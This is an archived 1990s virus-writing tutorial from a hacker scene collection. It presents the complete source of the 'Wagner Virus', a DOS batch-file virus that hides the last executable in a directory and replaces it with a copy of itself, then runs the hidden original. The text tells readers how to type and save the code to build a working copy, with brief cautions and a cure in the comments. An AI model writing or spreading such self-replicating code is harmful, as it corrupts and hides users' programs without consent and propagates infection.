home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / BATCHCOL.ZIP / TUTORIAL.ZIP / BATCHVIR.101 next >
Text File  |  1995-08-21  |  3KB  |  53 lines

  1.      Batch File viruses are becoming increasingly common, because of
  2. two main reasons: 1) They are incredibly simple to write and require
  3. no real programming experience, and 2) There are a growing number of
  4. programs that will convert .BAT files into .COM and/or .EXE files.
  5. This allows the batch file to pose as an executable and prevents it
  6. from being typed. The following virus, however, works in BAT format.
  7. It searches the directory for .COM files and .EXE files, finding the
  8. last one in the directory.  It then renames it to its name with a V
  9. at the beginning, hides it, and puts a batch file with the same name
  10. into the directory that contains the virus.  The commands used can
  11. be found in an MS-DOS User's Manual.  To cure it, read the
  12. instructions within the virus itself simply by typing one of the
  13. infected .BAT files.  This, despite the fact that it is not an 
  14. 'executable' program, is a virus and, like all others, can cause
  15. damage if improperly handled.  It will not go out of the directory,
  16. unless it is run from another directory. As with anything that is
  17. potentially dangerous, just be careful and use common sense.  And
  18. if you do not understand it, DO NOT PRESS YOUR LUCK BY PLAYING WITH
  19. IT!  Study the code and an MS-DOS manual until you do understand
  20. it.  I am not including an in-depth study of this virus due to its
  21. simplicity.  To create a working version of this virus, type the
  22. code in between the dotted lines into a program such as EDIT.COM
  23. that comes with DOS, and save it as WAGNER.BAT. Put it in an
  24. isolated directory, and then you can test it.  Again, be careful,
  25. for it is YOUR responsibility for anything you do with it.
  26.  
  27.                         The Wagner Virus
  28.  
  29. --------------------------------Code-------------------------------
  30. @echo off
  31. ctty nul
  32. rem  _______________________________________________________________
  33. rem :Wagner Virus, as presented in Virology 101 (c) 1993 Black Wolf:
  34. rem :This virus can be cured simply by typing "attrib -h -r *.*" in:
  35. rem :infected directories and deleting BAT files that are identical:
  36. rem :to this code, then rename the files having a "V" at the start :
  37. rem :to their original names.   NOTE: Does not infect COMMAND.COM. :
  38. rem :______________________________________________________________:
  39. for %%f in (*.exe *.com) do set A=%%f
  40. if %A%==COMMAND.COM set A=
  41. rename %A% V%A%
  42. if not exist V%A% goto end
  43. attrib +h V%A%
  44. copy %0.bat %A%
  45. attrib +r %A%
  46. ren %A% *.bat
  47. set A=
  48. :end
  49. ctty con
  50. @if exist V%0.com V%0.com %1 %2 %3
  51. @if exist V%0.exe V%0.exe %1 %2 %3
  52. ----------------------------End of Code----------------------------
  53.